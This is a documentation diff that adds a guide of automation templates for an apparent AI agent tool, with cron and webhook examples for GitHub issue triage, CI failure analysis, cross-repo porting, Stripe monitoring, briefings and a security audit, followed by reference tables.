+  --events "issues" \
+  --prompt "New GitHub issue received:
+Repository: {repository.full_name}
+Issue #{issue.number}: {issue.title}
+Author: {issue.user.login}
+Action: {action}
+Body: {issue.body}
+Labels: {issue.labels}
+
+If this is a new issue (action=opened):
+1. Read the issue title and body carefully
+2. Suggest appropriate labels (bug, feature, docs, security, question)
+3. If it's a bug report, check if you can identify the affected component from the description
+4. Post a helpful initial response acknowledging the issue
+
+If this is a label or assignment change, respond with [SILENT]." \
+  --deliver github_comment
+```
+
+### CI Failure Analysis
+
+Analyze CI failures and post diagnostics on the PR.
+
+**Trigger:** GitHub webhook
+
+```yaml
+# config.yaml route
+platforms:
+  webhook:
+    enabled: true
+    extra:
+      routes:
+        ci-failure:
+          events: ["check_run"]
+          secret: "ci-secret"
+          prompt: |
+            CI check failed:
+            Repository: {repository.full_name}
+            Check: {check_run.name}
+            Status: {check_run.conclusion}
+            PR: #{check_run.pull_requests.0.number}
+            Details URL: {check_run.details_url}
+
+            If conclusion is "failure":
+            1. Fetch the log from the details URL if accessible
+            2. Identify the likely cause of failure
+            3. Suggest a fix
+            If conclusion is "success", respond with [SILENT].
+          deliver: "github_comment"
+          deliver_extra:
+            repo: "{repository.full_name}"
+            pr_number: "{check_run.pull_requests.0.number}"
+```
+
+### Auto-Port Changes Across Repos
+
+When a PR merges in one repo, automatically port the equivalent change to another.
+
+**Trigger:** GitHub webhook
+
+```bash
+hermes webhook subscribe auto-port \
+  --events "pull_request" \
+  --prompt "PR merged in the source repository:
+Repository: {repository.full_name}
+PR #{pull_request.number}: {pull_request.title}
+Author: {pull_request.user.login}
+Action: {action}
+Merge commit: {pull_request.merge_commit_sha}
+
+If action is 'closed' and pull_request.merged is true:
+1. Fetch the diff: curl -sL {pull_request.diff_url}
+2. Analyze what changed
+3. Determine if this change needs to be ported to the Go SDK equivalent
+4. If yes, create a branch, apply the equivalent changes, and open a PR on the target repo
+5. Reference the original PR in the new PR description
+
+If action is not 'closed' or not merged, respond with [SILENT]." \
+  --skills "github-pr-workflow" \
+  --deliver log
+```
+
+---
+
+## Business Operations
+
+### Stripe Payment Monitoring
+
+Track payment events and get summaries of failures.
+
+**Trigger:** API call (webhook)
+
+```bash
+hermes webhook subscribe stripe-payments \
+  --events "payment_intent.succeeded,payment_intent.payment_failed,charge.dispute.created" \
+  --prompt "Stripe event received:
+Event type: {type}
+Amount: {data.object.amount} cents ({data.object.currency})
+Customer: {data.object.customer}
+Status: {data.object.status}
+
+For payment_intent.payment_failed:
+- Identify the failure reason from {data.object.last_payment_error}
+- Suggest whether this is a transient issue (retry) or permanent (contact customer)
+
+For charge.dispute.created:
+- Flag as urgent
+- Summarize the dispute details
+
+For payment_intent.succeeded:
+- Brief confirmation only
+
+Keep responses concise for the ops channel." \
+  --deliver slack
+```
+
+### Daily Revenue Summary
+
+Compile key business metrics every morning.
+
+**Trigger:** Schedule (daily)
+
+```bash
+hermes cron create "0 8 * * *" \
+  "Generate a morning business metrics summary.
+
+Search the web for:
+1. Current Bitcoin and Ethereum prices
+2. S&P 500 status (pre-market or previous close)
+3. Any major tech/AI industry news from the last 12 hours
+
+Format as a brief morning briefing, 3-4 bullet points max.
+Deliver as a clean, scannable message." \
+  --name "Morning briefing" \
+  --deliver telegram
+```
+
+---
+
+## Multi-Skill Workflows
+
+### Security Audit Pipeline
+
+Combine multiple skills for a comprehensive weekly security review.
+
+**Trigger:** Schedule (weekly)
+
+```bash
+hermes cron create "0 3 * * 0" \
+  "Run a comprehensive security audit of the hermes-agent codebase.
+
+1. Check for dependency vulnerabilities (pip audit, npm audit)
+2. Search the codebase for common security anti-patterns:
+   - Hardcoded secrets or API keys
+   - SQL injection vectors (string formatting in queries)
+   - Path traversal risks (user input in file paths without validation)
+   - Unsafe deserialization (pickle.loads, yaml.load without SafeLoader)
+3. Review recent commits (last 7 days) for security-relevant changes
+4. Check if any new environment variables were added without being documented
+
+Write a security report with findings categorized by severity (Critical, High, Medium, Low).
+If nothing found, report a clean bill of health." \
+  --skills "codebase-security-audit" \
+  --name "Weekly security audit" \
+  --deliver telegram
+```
+
+### Content Pipeline
+
+Research, draft, and prepare content on a schedule.
+
+**Trigger:** Schedule (weekly)
+
+```bash
+hermes cron create "0 10 * * 3" \
+  "Research and draft a technical blog post outline about a trending topic in AI agents.
+
+1. Search the web for the most discussed AI agent topics this week
+2. Pick the most interesting one that's relevant to open-source AI agents
+3. Create an outline with:
+   - Hook/intro angle
+   - 3-4 key sections
+   - Technical depth appropriate for developers
+   - Conclusion with actionable takeaway
+4. Save the outline to ~/drafts/blog-$(date +%Y%m%d).md
+
+Keep the outline to ~300 words. This is a starting point, not a finished post." \
+  --name "Blog outline" \
+  --deliver local
+```
+
+---
+
+## Quick Reference
+
+### Cron Schedule Syntax
+
+| Expression | Meaning |
+|-----------|---------|
+| `every 30m` | Every 30 minutes |
+| `every 2h` | Every 2 hours |
+| `0 2 * * *` | Daily at 2:00 AM |
+| `0 9 * * 1` | Every Monday at 9:00 AM |
+| `0 9 * * 1-5` | Weekdays at 9:00 AM |
+| `0 3 * * 0` | Every Sunday at 3:00 AM |
+| `0 */6 * * *` | Every 6 hours |
+
+### Delivery Targets
+
+| Target | Flag | Notes |
+|--------|------|-------|
+| Same chat | `--deliver origin` | Default — delivers to where the job was created |
+| Local file | `--deliver local` | Saves output, no notification |
+| Telegram | `--deliver telegram` | Home channel, or `telegram:CHAT_ID` for specific |
+| Discord | `--deliver discord` | Home channel, or `discord:CHANNEL_ID` |
+| Slack | `--deliver slack` | Home channel |
+| SMS | `--deliver sms:+15551234567` | Direct to phone number |
+| Specific thread | `--deliver telegram:-100123:456` | Telegram forum topic |
+
+### Webhook Template Variables
+
+| Variable | Description |
+|----------|-------------|
+| `{pull_request.title}` | PR title |
+| `{issue.number}` | Issue number |
+| `{repository.full_name}` | `owner/repo` |
+| `{action}` | Event action (opened, closed, etc.) |
+| `{__raw__}` | Full JSON payload (truncated at 4000 chars) |
+| `{sender.login}` | GitHub user who triggered the event |
+
+### The [SILENT] Pattern
+
+When a cron job's response contains `[SILENT]`, delivery is suppressed. Use this to avoid notification spam on quiet runs:
+
+```
+If nothing noteworthy happened, respond with [SILENT].
+```
+
+This means you only get notified when the agent has something to report.

website/sidebars.ts

@@ -153,6 +153,7 @@ const sidebars: SidebarsConfig = {
         'guides/use-voice-mode-with-hermes',
         'guides/build-a-hermes-plugin',
         'guides/automate-with-cron',
+        'guides/automation-templates',
         'guides/cron-troubleshooting',
         'guides/work-with-skills',
         'guides/delegation-patterns',